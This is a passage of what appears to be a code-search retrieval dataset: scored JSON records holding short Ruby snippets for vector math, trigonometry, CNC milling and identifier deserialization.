"text": "def c(f)\r\n (dz(Psi)*(dr(f) - f/R) - dr(Psi)*dz(f))/R\r\nend",
"title": ""
},
{
"docid": "cb2b32e59b91a1fa78961da45425ce5b",
"score": "0.5014054",
"text": "def d3(x, y, z)\n a = [x, y, z]\n return 0 if a.all?(&:zero?)\n\n shell = a.map(&:abs).max\n inner_space = (shell * 2 - 1)**3 + 1\n max_index = (shell * 2 + 1)**3\n\n r =\n case a.map(&:abs).count(shell)\n when 3 # corner\n index = corner_index(a)\n index < 4 ?\n inner_space + index :\n max_index - (index - 4)\n when 2 # edge\n index = edge_index(a)\n dist = shell - 1 + a.min_by(&:abs)\n edge_length = shell * 2 - 1\n\n inner_space + 4 + index * edge_length + dist\n when 1 # face\n index = face_index(a)\n face_coors = a.reject { |x| x.abs == shell }\n face_area = (shell * 2 - 1)**2\n dist = d2(*face_coors) + face_area / 2\n\n max_index - 4 - (index * face_area + dist)\n end\n\n r / 2 * (r.odd? ? -1 : 1)\nend",
"title": ""
},
{
"docid": "78ebfdd48907eb502cb5c3da5cdb6c16",
"score": "0.5013565",
"text": "def z\n @z ||= calculate_z\n end",
"title": ""
},
{
"docid": "957cf823f62a73f6be379eece17cf901",
"score": "0.5001783",
"text": "def magnitude\n Math.sqrt((@x * @x) + (@y * @y) + (@z * @z))\n end",
"title": ""
},
{
"docid": "655fadc40609806f859f302a78f7ff15",
"score": "0.49942243",
"text": "def tan(n1)\r\n\r\n @num1=n1\r\n print \"The tangent of #{@num1} is : #{Math.tan(@num1.to_i)}\"\r\n\r\n end",
"title": ""
},
{
"docid": "a17616beb64d77c6d118eda9fa1d5677",
"score": "0.4992286",
"text": "def tangent( t, result=nil )\n t2 = t * t\n if not result\n result = V2D[0.0,0.0]\n end\n\n if not defined? @factors\n compute_factors\n end\n\n # decomposed because avoid to build useless V2D\n result.x = @tfactors[2].x + @tfactors[1].x * t + @tfactors[0].x * t2\n result.y = @tfactors[2].y + @tfactors[1].y * t + @tfactors[0].y * t2\n\n return result\n end",
"title": ""
},
{
"docid": "1a29503bcde88b92888baa67854cf773",
"score": "0.49869472",
"text": "def atan(y, x)\n if x.abs <= 10e-6 && y.abs <= 10e-6\n return 0.0\n else\n return Math.atan(y / x)\n end\n end",
"title": ""
},
{
"docid": "c70920fed1498b5d8b7c293beaa85437",
"score": "0.49861026",
"text": "def normal_arc(thBeg, thEnd, radius, numseg)\n # thBeg, thEnd = begin & end angles with x-axis (degrees)\n \n # Calc various angles in radians\n thTot = thEnd-thBeg # Total arc angle\n dTh = thTot.degrees/(numseg-1) # full angle increment per segment\n \n radius_reduced = radius*Math.cos(dTh/2.0) # for first/last point must have slightly smaller radius\n\n pts = []\n theta = thBeg.degrees\n \n pts << Geom::Point3d.new(radius_reduced*Math.cos(theta), radius_reduced*Math.sin(theta),0)\n \n theta = theta + dTh/2.0\n\n for i in 1..(numseg-1) do\n\t\n\tpts << Geom::Point3d.new(radius*Math.cos(theta), radius*Math.sin(theta),0)\n\ttheta = theta + dTh\n end\n \n theta = theta - dTh/2.0\n \n pts << Geom::Point3d.new(radius_reduced*Math.cos(theta), radius_reduced*Math.sin(theta),0)\n\n return pts\nend",
"title": ""
},
{
"docid": "4857d20c27f777f37e2d1ea49c5b9f64",
"score": "0.4981934",
"text": "def taxi_distance(c1, c2)\n x1, y1, z1, a1 = *c1\n x2, y2, z2, a2 = *c2\n\n (x2 - x1).abs + (y2 - y1).abs + (z2 - z1).abs + (a2 - a1).abs\nend",
"title": ""
},
{
"docid": "459a9465ae5e0898f8a97bbfdf20633b",
"score": "0.49791306",
"text": "def triangle_angle(a, b, c)\n # determine the triangle's opposing angle\n Math.acos((b**2 + c**2 - a**2) / (2.0 * b * c)) * 180 / Math::PI\nend",
"title": ""
},
{
"docid": "19fcb0f6fcba9692f2b27066f7739568",
"score": "0.49685124",
"text": "def rotate_point(x, y, z, cx, cy, cz, angle_x, angle_y, angle_z)\n\t\tx -= cx ; y -= cy; z -= cz\n\t\t\n\t\t# rotate around x axis\n\t\tac = Math.cos(angle_x) ; as = Math.sin(angle_x)\n\t\ty2 = y * ac - z * as\n\t\tz2 = z * ac + y * as\n\t\ty = y2\n\t\tz = z2\n\n\t\t# rotate around y axis\n\t\tac = Math.cos(angle_y) ; as = Math.sin(angle_y)\n\t\tx2 = x * ac - z * as\n\t\tz2 = z * ac + x * as\n\t\tx = x2\n\t\tz = z2\n\n\t\t# rotate around z axis\n\t\tac = Math.cos(angle_z) ; as = Math.sin(angle_z)\n\t\ty2 = y * ac - x * as\n\t\tx2 = x * ac + y * as\n\t\ty = y2\n\t\tx = x2\n\n\t\tx += cx ; y += cy; z += cz\n\t\treturn x, y, z\n\tend",
"title": ""
},
{
"docid": "c14a69d1b0d78a8a87358026a71dfc54",
"score": "0.49652767",
"text": "def asin(y, prec)\n # Handle angles with no tangent.\n return -PI / 2 if y == -1\n return PI / 2 if y == 1\n\n # Tangent of angle is y / x, where x^2 + y^2 = 1.\n atan(y / sqrt(1 - y * y, prec), prec)\nend",
"title": ""
},
{
"docid": "20ac299da814078aaf029e3887bba1bd",
"score": "0.496478",
"text": "def asinh(z)\n begin\n if z.real?\n\tasinh!(z)\n else\n\tlog(z + sqrt(1.0 + z * z))\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "4efd9122c3f51efbf4e592b59d6d6833",
"score": "0.4946578",
"text": "def foo_y(jc)\r\n tan(D2R * (obc(jc) / 2.0)) * tan(D2R * (obc(jc) / 2.0))\r\nend",
"title": ""
},
{
"docid": "487a2372b4f3b6d2243f7a81337f2abc",
"score": "0.4941505",
"text": "def c_radius\r\n s_radius*Math.sin(phi)\r\n end",
"title": ""
},
{
"docid": "20eb90883ac84f485cc9410705fa39e7",
"score": "0.49394104",
"text": "def magnitude\n Math.sqrt(@x**2 + @y**2 + @z**2)\n end",
"title": ""
},
{
"docid": "d6971f7cafa10bbf3618d372054bfb5a",
"score": "0.49348858",
"text": "def theta(n,teeth)\n n.to_f/teeth * (2*Math::PI)\nend",
"title": ""
},
{
"docid": "f5cba312559203d6129eaee492810c39",
"score": "0.49302885",
"text": "def arc_coord(cx,cy,angle,radius)\n #PP.pp [angle,radius]\n #angle += 180.0\n [cx + Math.sin(angle.radians) * radius, cy - Math.cos(angle.radians) * radius]\nend",
"title": ""
},
{
"docid": "a710ceafdf78e989e851aec2215ca8c9",
"score": "0.49149677",
"text": "def angle(vec)\n return Math.acos(dot(vec) / (magnitude() * vec.magnitude()))\n end",
"title": ""
},
{
"docid": "577795ffe930ee9e51a903faf3039f0e",
"score": "0.49132422",
"text": "def eqazel(ha, dec)\n lat = Math::PI*hms2deg(\"-32:22:32\")/180.0\n h = Math::PI*ha/180.0\n d = Math::PI*dec/180.0\n sphi = Math::sin(lat)\n cphi = Math::cos(lat)\n sleft = Math::sin(h)\n cleft = Math::cos(h)\n sright = Math::sin(d)\n cright = Math::cos(d)\n az = Math::atan2(-1.0*sleft, -1.0*cleft*sphi + sright*cphi/cright)\n az = (az < 0.0) ? az + 2.0*Math::PI : az\n el = Math::asin(cleft*cright*cphi + sright*sphi)\n if el > 0.0\n airmass = 1.0/Math::cos(Math::PI/2.0 - el)\n else \n airmass = 50.0\n end\n return az, el, airmass\n end",
"title": ""
},
{
"docid": "3b0753f7e22cec202020a418509483bb",
"score": "0.4911954",
"text": "def z\n mu=(@n1*@n2).quo(2)\n if(!@ties)\n ou=Math::sqrt(((@n1*@n2)*(@n1+@n2+1)).quo(12))\n else\n n=@n1+@n2\n first=(@n1*@n2).quo(n*(n-1))\n second=((n**3-n).quo(12))-@t\n ou=Math::sqrt(first*second)\n end\n (@u-mu).quo(ou)\n end",
"title": ""
},
{
"docid": "fa4e91a477fc9ae5df2dc2848b5b57b3",
"score": "0.49070957",
"text": "def normal_cdf(z)\n return 0.0 if z < -12\n return 1.0 if z > 12\n return 0.5 if z == 0.0\n\n e = z > 0.0\n\n z = z.abs.to_f\n z2 = z * z\n t = q = z * Math.exp(-0.5 * z2) / SQ2PI\n\n 3.step(199, 2) do |i|\n prev = q\n t *= z2 / i\n q += t\n return (e ? 0.5 + q : 0.5 - q) if q <= prev\n end\n\n e ? 1.0 : 0.0\n end",
"title": ""
},
{
"docid": "6cc73b189012646cac21a9fc596ba7b6",
"score": "0.49050653",
"text": "def magnitude\n Math.sqrt((@x * @x) + (@y * @y) + (@z * @z))\n end",
"title": ""
},
{
"docid": "8ab09ce75d17bdc81524209e35bbe9d8",
"score": "0.49030593",
"text": "def alpha(v, cosined=false)\n len = abs(true)\n cos = dot(v) / Math.sqrt(len * len)\n cosined ? cos : Math.acos(cos) * 180 / Math::PI\n end",
"title": ""
},
{
"docid": "eb3faef9e306f1c2cc3e5e488c094c45",
"score": "0.48845115",
"text": "def distance3d(other)\n Math.sqrt((@x-other.x)**2 + (@y-other.y)**2 + (@z-other.z)**2)\n end",
"title": ""
},
{
"docid": "77ab9f3f05945c91c21f6b15111eaab9",
"score": "0.4881534",
"text": "def angle_to(other)\n Math.atan2(cross_z(other), dot(other))\n end",
"title": ""
},
{
"docid": "0ea9d470567d36c0c8f4b463c935677f",
"score": "0.48807165",
"text": "def dtanh(y)\r\n\t\t1.0#-(y*y)\r\n\tend",
"title": ""
},
{
"docid": "b50566f25e52592218e525b17c859e12",
"score": "0.48657015",
"text": "def acos\n apply_lambda_flat(->(x){Math.acos(x)})\n end",
"title": ""
},
{
"docid": "5d8e0901f2013ac6be0a95ea9d861b52",
"score": "0.48644814",
"text": "def abs\n dist(0, 0, real, imag)\n end",
"title": ""
},
{
"docid": "e90c28af3c138b1d579b3112d93e114f",
"score": "0.4862683",
"text": "def center_z\n @max_z ? (@max_z + @min_z) * 0.5 : nil\n end",
"title": ""
},
{
"docid": "e90c28af3c138b1d579b3112d93e114f",
"score": "0.4862683",
"text": "def center_z\n @max_z ? (@max_z + @min_z) * 0.5 : nil\n end",
"title": ""
},
{
"docid": "14b9043817e85e9c71c6564146e6bcc5",
"score": "0.48625866",
"text": "def evaluate_angle(p1,p2,p3)\n if straight_line?(p1,p2,p3)\n Math::PI\n else\n a = p2.distance_to(p1)\n b = p2.distance_to(p3)\n c = p1.distance_to(p3)\n Math.acos((a**2 + b**2 - c**2)/(2 * a * b))\n end\n end",
"title": ""
},
{
"docid": "6b4384588f2c198731de746dc59c251f",
"score": "0.48524556",
"text": "def distance_to(atom)\n\t\tMath.sqrt((self.x - atom.x)**2 + (self.y - atom.y)**2 + (self.z - atom.z)**2)\n\tend",
"title": ""
},
{
"docid": "26817121fb80412c090077e9f628f03e",
"score": "0.48301658",
"text": "def arg\n Math.atan2(@imag, @real)\n end",
"title": ""
},
{
"docid": "e63eda84ed6fd09b468e5588a2db2fe0",
"score": "0.4828991",
"text": "def distance_point_to_point3d(a,b)\n Math.sqrt((b.x-a.x)**2+(b.y-a.y)**2+(b.z-a.z)**2)\n end",
"title": ""
},
{
"docid": "8e2629018b2507a3689a90b8b0f1e286",
"score": "0.4825321",
"text": "def haversin(theta)\n (1 - cos(theta)) / 2.0\nend",
"title": ""
},
{
"docid": "78941e797a043d9b8522c522de09bfb5",
"score": "0.4824894",
"text": "def mill_z_circ(mill, x,y, diam, beg_z=@cz, adjust_for_bit_radius=false, beg_degree=90, end_degree=180)\n # - - - - - - - - - - - - - - - - - -\n #print \"mill circle x=\", x, \" y=\", y, \" diam=\", diam, \" depth=\", depth, \")\\n\"\n if (diam < (mill.bit_diam / 2.0))\n print \"(Warning half pipe produces marginal results when bit is more than 1/2 size of circle)\\n\"\n print \"(half pipe diam=\", diam, \"bit diam = \", mill.bit_diam, \")\\n\"\n end #if\n \n print \"(mill_z_circ diam= \", diam, \" bit_diam=\", mill.curr_bit.diam, \" adjust_for_bit_radius=\", adjust_for_bit_radius, \")\\n\"\n \n degree_inc = 3\n curr_degree = beg_degree\n radius = diam / 2.0\n\n # Move the head to a good starting \n # point. \n mill.retract()\n mill.move_fast(x + radius, y)\n mill.retract(0)\n mill.set_speed(mill.speed / 15.0)\n\n while (curr_degree < end_degree)\n cp = calc_point_from_angle(0, beg_z, curr_degree, radius)\n cp.x = cp.x.abs\n if (cp.x >= mill.bit_radius)\n # Then not just wasting movement\n # in the center.\n if (adjust_for_bit_radius == true)\t\n\t cp.x = cp.x - mill.bit_radius\n end\t\n \t # not adjust for bit radius\t \n \t tx = x + cp.x\n mill.move(x + cp.x, y, cp.y)\n\t mill.move(x - cp.x, y, cp.y)\n end # if\n curr_degree = curr_degree + degree_inc\n end # while\n \n mill.retract()\nend",
"title": ""
},
{
"docid": "78941e797a043d9b8522c522de09bfb5",
"score": "0.4824894",
"text": "def mill_z_circ(mill, x,y, diam, beg_z=@cz, adjust_for_bit_radius=false, beg_degree=90, end_degree=180)\n # - - - - - - - - - - - - - - - - - -\n #print \"mill circle x=\", x, \" y=\", y, \" diam=\", diam, \" depth=\", depth, \")\\n\"\n if (diam < (mill.bit_diam / 2.0))\n print \"(Warning half pipe produces marginal results when bit is more than 1/2 size of circle)\\n\"\n print \"(half pipe diam=\", diam, \"bit diam = \", mill.bit_diam, \")\\n\"\n end #if\n \n print \"(mill_z_circ diam= \", diam, \" bit_diam=\", mill.curr_bit.diam, \" adjust_for_bit_radius=\", adjust_for_bit_radius, \")\\n\"\n \n degree_inc = 3\n curr_degree = beg_degree\n radius = diam / 2.0\n\n # Move the head to a good starting \n # point. \n mill.retract()\n mill.move_fast(x + radius, y)\n mill.retract(0)\n mill.set_speed(mill.speed / 15.0)\n\n while (curr_degree < end_degree)\n cp = calc_point_from_angle(0, beg_z, curr_degree, radius)\n cp.x = cp.x.abs\n if (cp.x >= mill.bit_radius)\n # Then not just wasting movement\n # in the center.\n if (adjust_for_bit_radius == true)\t\n\t cp.x = cp.x - mill.bit_radius\n end\t\n \t # not adjust for bit radius\t \n \t tx = x + cp.x\n mill.move(x + cp.x, y, cp.y)\n\t mill.move(x - cp.x, y, cp.y)\n end # if\n curr_degree = curr_degree + degree_inc\n end # while\n \n mill.retract()\nend",
"title": ""
},
{
"docid": "7fb240000719edfa2a2f98356a6609f7",
"score": "0.48207745",
"text": "def angle_between_3points(lat1, lng1, lat2, lng2, lat3, lng3)\n\n # L1 is the line defined by AB\n # L2 is the line defined by CB\n l1x = lng2 - lng1\n l1y = lat2 - lat1\n\n l2x = lng2 - lng3\n l2y = lat2 - lat3\n\n angle1 = Math.atan2(l1y, l1x)\n angle2 = Math.atan2(l2y, l2x)\n\n angle1 - angle2\n end",
"title": ""
}
] |
867c7b226eb6439d0b50b7352e0b078b
|
Fetch identifier and deserialize if neccessary
|
[
{
"docid": "9c3e241f6b5572a77059da17990630b0",
"score": "0.6559235",
"text": "def fetch_identifier(name)\n val = @encoded_ids[name]\n val = LiteCable.config.identifier_coder.decode(val) unless val.nil?\n instance_variable_set(\n :\"@#{name}\",\n val\n )\n end",
"title": ""
}
] |
[
{
"docid": "b6e4430b0b42da6a95730bbf5ddb183b",
"score": "0.67227274",
"text": "def parse_id; end",
"title": ""
},
{
"docid": "b3e601189229762d5a19ac579b52fd5d",
"score": "0.6580767",
"text": "def id\n object.read_attribute_for_serialization(:id)\n end",
"title": ""
},
{
"docid": "808b61bf7c0fadcaea3f00cf6c592199",
"score": "0.65692526",
"text": "def fetch_identifier(name)\n return unless @cached_ids\n\n @cached_ids[name] ||= @cached_ids.fetch(name) do\n AnyCable::Rails.deserialize(@serialized_ids[name.to_s])\n end\n end",
"title": ""
},
{
"docid": "c3a13e37f311b9505804e0eefdb350e8",
"score": "0.6556134",
"text": "def identifier\n @obj['ID']\n end",
"title": ""
},
{
"docid": "c3a13e37f311b9505804e0eefdb350e8",
"score": "0.6556134",
"text": "def identifier\n @obj['ID']\n end",
"title": ""
},
{
"docid": "2bdb8df084c4723d3440a52eb6a5654b",
"score": "0.65231234",
"text": "def read_attribute_for_serialization(key)\n if key.try(:to_sym) == :id\n attributes.fetch(key) { id }\n else\n attributes[key]\n end\n end",
"title": ""
},
{
"docid": "fdb7bc5660171fba6e46cebea2e9aa48",
"score": "0.6422251",
"text": "def identifier\n attributes.fetch(:identifier)\n end",
"title": ""
},
{
"docid": "fdb7bc5660171fba6e46cebea2e9aa48",
"score": "0.6422251",
"text": "def identifier\n attributes.fetch(:identifier)\n end",
"title": ""
},
{
"docid": "31e5e3bff06203cfd07b2d7106a2de5e",
"score": "0.63995856",
"text": "def load_id\n read(ID_OFFSET, 4)\n end",
"title": ""
},
{
"docid": "0548048f09c82f284f467659a822cd52",
"score": "0.63980037",
"text": "def name\n unless @data['ID']\n @data['ID'], @data['TYPE'] = fetch('ID').chomp('.').split('; ')\n end\n @data['ID']\n end",
"title": ""
},
{
"docid": "69b2720ab549f37e0df54c46fcc78313",
"score": "0.63710624",
"text": "def retrieve!(identifier); end",
"title": ""
},
{
"docid": "69b2720ab549f37e0df54c46fcc78313",
"score": "0.63710624",
"text": "def retrieve!(identifier); end",
"title": ""
},
{
"docid": "9a8d1264a90e6fa5b2b27879c4ecf584",
"score": "0.63667196",
"text": "def id; get_attribute(\"objectId\") rescue nil; end",
"title": ""
},
{
"docid": "ef2600d25bba17d5bfb0aef7edfaae99",
"score": "0.6347951",
"text": "def attach_identifier(object:, json:)\n return object unless object.present? && object.respond_to?(:identifiers) &&\n json.present? &&\n json[:type].present? && json[:identifier].present?\n\n existing = object.identifiers.select do |id|\n id.identifier_scheme&.name&.downcase == json[:type].downcase\n end\n return object if existing.present?\n\n object.identifiers << Api::V2::Deserialization::Identifier.deserialize(\n class_name: object.class.name, json: json\n )\n object\n end",
"title": ""
},
{
"docid": "52ae72ebf3911298f62cb974d77f7315",
"score": "0.63247806",
"text": "def attach_identifier(object:, json:)\n return object unless object.present? && object.respond_to?(:identifiers) &&\n json.present? &&\n json[:type].present? && json[:identifier].present?\n\n existing = object.identifiers.select do |id|\n id.identifier_scheme&.name&.downcase == json[:type].downcase\n end\n return object if existing.present?\n\n object.identifiers << Api::V1::Deserialization::Identifier.deserialize(\n class_name: object.class.name, json: json\n )\n object\n end",
"title": ""
},
{
"docid": "2d0563386c80840e9bcec8a74e18f37d",
"score": "0.63045174",
"text": "def serialization_for_identifier identifier, nested: false\n object = lookup_object(identifier)\n object ? object.to_h(nested: nested) : identifier\n end",
"title": ""
},
{
"docid": "50a569c80412838f1fce3cd072d06a24",
"score": "0.62788016",
"text": "def deserialize_related_identifiers(provenance:, dmp:, json:)\n return dmp unless provenance.present? && json.present? && dmp.present?\n\n # Only retain the identifiers with loaded meaning\n # is_identified_by -> One of the DMP's identifiers (e.g. ARK, DOI, etc.)\n # is_metadata_for -> The location of the original DMP\n dmp.identifiers = dmp.identifiers.select do |id|\n %w[is_identified_by is_metadata_for].include?(id.descriptor)\n end\n\n json.fetch(:dmproadmap_related_identifiers, []).each do |related|\n related[:type] = Api::V0::ConversionService.identifier_category_from_value(value: related[:identifier]) unless related[:type].present?\n\n identifier = Api::V0::Deserialization::Identifier.deserialize(\n provenance: provenance, identifiable: dmp, identifiable_type: 'DataManagementPlan',\n descriptor: related[:descriptor], json: related\n )\n next unless identifier.present?\n\n dmp.identifiers << identifier unless dmp.identifiers.include?(identifier)\n end\n dmp\n end",
"title": ""
},
{
"docid": "f771ddeb66c9fbc7f4c69695ffd0fcbd",
"score": "0.62709504",
"text": "def identifier\n identifier = {}\n identifier[:type] = type\n identifier[:id] = value\n identifier[:url] = uri if uri.present?\n identifier\n end",
"title": ""
},
{
"docid": "2ac8f6d265a3516e5ef7f803df8a0ffa",
"score": "0.6254883",
"text": "def getDeserializerById( oid )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( oid )\n\n # BIMserver request\n request( { oid: oid } )\n end",
"title": ""
},
{
"docid": "1a17f3472a115e921a2d146999e5be22",
"score": "0.62189305",
"text": "def id\n regular_reader('id')\n end",
"title": ""
},
{
"docid": "a0040d847f3d9189cb1c2648d58da42f",
"score": "0.6211765",
"text": "def load _id\n raise \"Not implemented\"\n end",
"title": ""
},
{
"docid": "a0040d847f3d9189cb1c2648d58da42f",
"score": "0.6211765",
"text": "def load _id\n raise \"Not implemented\"\n end",
"title": ""
},
{
"docid": "59c225c5d072ee3c6503e1dc01431902",
"score": "0.619305",
"text": "def id\n data[:id]\n end",
"title": ""
},
{
"docid": "787b72f23c451bff7250a4eb884dcce4",
"score": "0.6183929",
"text": "def find_by_identifier(provenance:, json: {})\n id = json.fetch(:dmp_id, {})\n return nil unless id[:identifier].present?\n\n id = Api::V0::Deserialization::Identifier.deserialize(provenance: provenance,\n identifiable: nil,\n json: json)\n id.present? ? id.identifiable : nil\n end",
"title": ""
},
{
"docid": "eddade19f2ddc03ea94e71a6082fee53",
"score": "0.61788994",
"text": "def id\n @id ||= json['id']\n end",
"title": ""
},
{
"docid": "70eb6d73390fc7f98c73568805e30148",
"score": "0.617262",
"text": "def id\n object[\"id\"]\n end",
"title": ""
},
{
"docid": "da3ce56727491c79bf17897715c1ab9a",
"score": "0.61440736",
"text": "def get(id)\n _parse(self.get!(id)) do |value|\n serializer.new(value.first).deserialize!\n end\n end",
"title": ""
},
{
"docid": "ba189ca616ae2a4222c7949b5df5d037",
"score": "0.612779",
"text": "def read_attribute_for_serialization(n)\n n == \"id\" ? attributes[n].to_s : attributes[n]\n end",
"title": ""
},
{
"docid": "ad587487b9d15b455295c53a6be88d88",
"score": "0.61192685",
"text": "def id_from_response(response)\n ActiveSupport::JSON.decode(response.body)[\"#{self.class.to_s.split(\"::\").last.downcase!}Id\"] if response.body.present?\n end",
"title": ""
},
{
"docid": "35126755830fe4ca0bb6a77e901d153c",
"score": "0.61159116",
"text": "def deserialize(id)\n Bsm::Sso::Client.user_class.sso_find(id)\n end",
"title": ""
},
{
"docid": "bb8af3551684e58fead6945324e3e2b7",
"score": "0.60914475",
"text": "def id\n @obj['id']\n end",
"title": ""
},
{
"docid": "4c42f2507b183b46f2b067d7d28c5fe0",
"score": "0.6076393",
"text": "def find_by_identifier(provenance:, json: {})\n id = json.fetch(:affiliation_id, json.fetch(:funder_id, {}))\n return nil unless id[:identifier].present?\n\n id = Api::V0::Deserialization::Identifier.deserialize(provenance: provenance,\n identifiable: nil,\n json: json)\n id.present? ? id.identifiable : nil\n end",
"title": ""
},
{
"docid": "c3291c52a3ae5692ec1aa000b16d9fe3",
"score": "0.603985",
"text": "def object_from_identifier(class_name:, json:)\n return nil unless class_name.present? && json.present? &&\n json[:type].present? && json[:identifier].present?\n\n clazz = \"::#{class_name.capitalize}\".constantize\n return nil unless clazz.respond_to?(:from_identifiers)\n\n clazz.from_identifiers(\n array: [{ name: json[:type], value: json[:identifier] }]\n )\n rescue NameError\n nil\n end",
"title": ""
},
{
"docid": "c5ff5f4cda9a729b98ec703e3a7a6cc6",
"score": "0.6017386",
"text": "def unserialize_id_if_necessary(doc_id)\n self.serialized_id?(doc_id) ? self.unserialize_id(doc_id) : doc_id\n end",
"title": ""
},
{
"docid": "4dfd9be434ea6ba0f8db2d21ce40b045",
"score": "0.6017065",
"text": "def get_object(id)\n if (raw_obj = @flat_file.read_obj_by_id(id))\n return deserialize(raw_obj)\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "6afef5444ec04b1f41dd7dd3d0619118",
"score": "0.60132796",
"text": "def id\n self[:identifier]\n end",
"title": ""
},
{
"docid": "cc39690c023bd6d2f510637065dea9fa",
"score": "0.60110545",
"text": "def get_field_deserializers() \n return {\n \"id\" => lambda {|o, n| o.id = n.get_string_value() },\n }\n end",
"title": ""
},
{
"docid": "3aea7f0f84824118cca4f4ea161b914a",
"score": "0.6003349",
"text": "def extract_id(object, klass)\n case object\n when ::Integer\n object\n when ::String\n object.split('/').last.to_i\n when ::Hash\n object[:id] || object[:ID]\n when URI, Addressable::URI\n object.path.split('/').last.to_i\n when klass\n object.id\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "e4cd99df3ada62396db0bb3148afe2eb",
"score": "0.59530485",
"text": "def _id\n @data[:id]\n end",
"title": ""
},
{
"docid": "55bcee6c0bb56f27a30229dae869194a",
"score": "0.59497625",
"text": "def find_by_id(id)\n if hash = data_store.get(id)\n _deserialize(hash[:key], hash[:data])\n end\n end",
"title": ""
},
{
"docid": "ecedcd36ebab2e6cc2662c3ae1dd11c2",
"score": "0.5938968",
"text": "def marshal_load(data)\n values, opts = data\n initialize(values[:id])\n initialize_from(values, opts)\n end",
"title": ""
},
{
"docid": "ecedcd36ebab2e6cc2662c3ae1dd11c2",
"score": "0.5938968",
"text": "def marshal_load(data)\n values, opts = data\n initialize(values[:id])\n initialize_from(values, opts)\n end",
"title": ""
},
{
"docid": "914efcb8c2b7790002ef177a57fdc7cd",
"score": "0.5937205",
"text": "def unserialize_id(doc_id)\n # get string representation\n doc_id = self.serialized_id?(doc_id) ? doc_id['$oid'] : doc_id\n\n if @kind == :moped_1\n # Moped < 2.0.0 uses a custom BSON implementation\n if doc_id.is_a?(::Moped::BSON::ObjectId)\n doc_id\n else\n ::Moped::BSON::ObjectId(doc_id)\n end\n else\n if doc_id.is_a?(::BSON::ObjectId)\n doc_id\n else\n ::BSON::ObjectId.from_string(doc_id)\n end\n end\n end",
"title": ""
},
{
"docid": "b1a72d2cebec6e76413b094e07878403",
"score": "0.5916412",
"text": "def identifier\n @identifier ||= @data[16, 4]\n end",
"title": ""
},
{
"docid": "55089421dfba4deabfb3e5b5afd1039a",
"score": "0.59133834",
"text": "def find_by_identifier(provenance:, json: {})\n id_json = json.fetch(:dataset_id, {})\n return nil unless id_json[:identifier].present?\n\n id = Api::V0::Deserialization::Identifier.deserialize(\n provenance: provenance, identifiable: nil, json: id_json, descriptor: 'is_identified_by',\n identifiable_type: 'Dataset'\n )\n id.present? && id.identifiable.is_a?(::Dataset) ? id.identifiable : nil\n end",
"title": ""
},
{
"docid": "71cb236582beca7ef9e882d56c245dcc",
"score": "0.59071505",
"text": "def identifier; id.split(':', 3)[2]; end",
"title": ""
},
{
"docid": "186f22693ba1e7ca10c8bfa9a3b6b50b",
"score": "0.5900256",
"text": "def id\n @data[\"id\"]\n end",
"title": ""
},
{
"docid": "0ac97cfbf89f8179a1e9d74791eca85b",
"score": "0.5897824",
"text": "def id\n @data.fetch(\"id\")\n end",
"title": ""
},
{
"docid": "6c72d7a49830a02cd8df411fc5290e68",
"score": "0.5893122",
"text": "def deserialize(value); end",
"title": ""
},
{
"docid": "6c72d7a49830a02cd8df411fc5290e68",
"score": "0.5893122",
"text": "def deserialize(value); end",
"title": ""
},
{
"docid": "26d81f35623b8037f7fd413b56aceb10",
"score": "0.5888794",
"text": "def attach_identifier(provenance:, metadatum:, json: {})\n id = json.fetch(:metadata_standard_id, {})\n return metadatum unless id[:identifier].present?\n\n identifier = Api::V0::Deserialization::Identifier.deserialize(\n provenance: provenance, identifiable: metadatum, json: id, identifiable_type: 'Metadatum'\n )\n metadatum.identifiers << identifier if identifier.present? && identifier.new_record?\n metadatum\n end",
"title": ""
},
{
"docid": "d8f7a37d1f847be984606767a81da9f5",
"score": "0.5886526",
"text": "def get oid\n mget([oid]).first\n end",
"title": ""
},
{
"docid": "e714967a2865da49731434b16bbe1245",
"score": "0.588054",
"text": "def retrieve_from_store!(identifier); end",
"title": ""
},
{
"docid": "15309f8d05b3a06e96e04e0e6d9b59b5",
"score": "0.58782744",
"text": "def marshal_load(oid)\n _internal_oid_set(oid.to_s)\n end",
"title": ""
},
{
"docid": "3af219ba80e55bc254f6e4549ef14b51",
"score": "0.5877908",
"text": "def id\n @data['id']\n end",
"title": ""
},
{
"docid": "52f02f0931585e65c22163b6875edf01",
"score": "0.5860005",
"text": "def id_from_response(response); end",
"title": ""
},
{
"docid": "95802edbcc2f191f24bd1839f6286d62",
"score": "0.5857386",
"text": "def parse\n deserialize super\n end",
"title": ""
},
{
"docid": "95802edbcc2f191f24bd1839f6286d62",
"score": "0.5857386",
"text": "def parse\n deserialize super\n end",
"title": ""
},
{
"docid": "291acca808c99b9b5d0c0ae71c89c55b",
"score": "0.5842475",
"text": "def id; self.attributes[\"id\"]; end",
"title": ""
},
{
"docid": "d82417543af8b56a71a3d0fcd1b61bf0",
"score": "0.5841035",
"text": "def _deserialize(data)\n # Initialize all attributes with the provided values.\n data.each do |attr_name, value|\n value = POXReference.new(@store, value.id) if value.is_a?(POReference)\n instance_variable_set(('@' + attr_name).to_sym, value)\n end\n end",
"title": ""
},
{
"docid": "1c1f2cd85a5bf702d3ae280a35868d77",
"score": "0.5839029",
"text": "def deserialize(object); object; end",
"title": ""
},
{
"docid": "662bb2ef46b153cd156e12ebc9d1eddc",
"score": "0.583678",
"text": "def init_identifiers(json)\n self.doi = get_property('doi', json)\n self.eissn = get_property('eissn', json)\n self.isbn10 = get_property('isbn10', json)\n self.isbn13 = get_property('isbn13', json)\n self.isbns = get_property('isbns', json, single: false)\n self.issn = get_property('issn', json)\n self.local_control_number = get_property('lcn', json)\n end",
"title": ""
},
{
"docid": "e59fc832b7c5c583b889664cd2c4e05d",
"score": "0.5825489",
"text": "def id\n @json['id']\n end",
"title": ""
},
{
"docid": "2396a04b3e9b5f0d662170faff262531",
"score": "0.58250606",
"text": "def id\n raw[\"_id\"]\n end",
"title": ""
},
{
"docid": "b5fcdd42ac26b779d40ec91eeb757d23",
"score": "0.582121",
"text": "def get_object(id)\n (item = dynamo_get_item(id.to_s)) ? deserialize(item) : nil\n end",
"title": ""
},
{
"docid": "5a69a14268c68f30ff9001f002037032",
"score": "0.58152986",
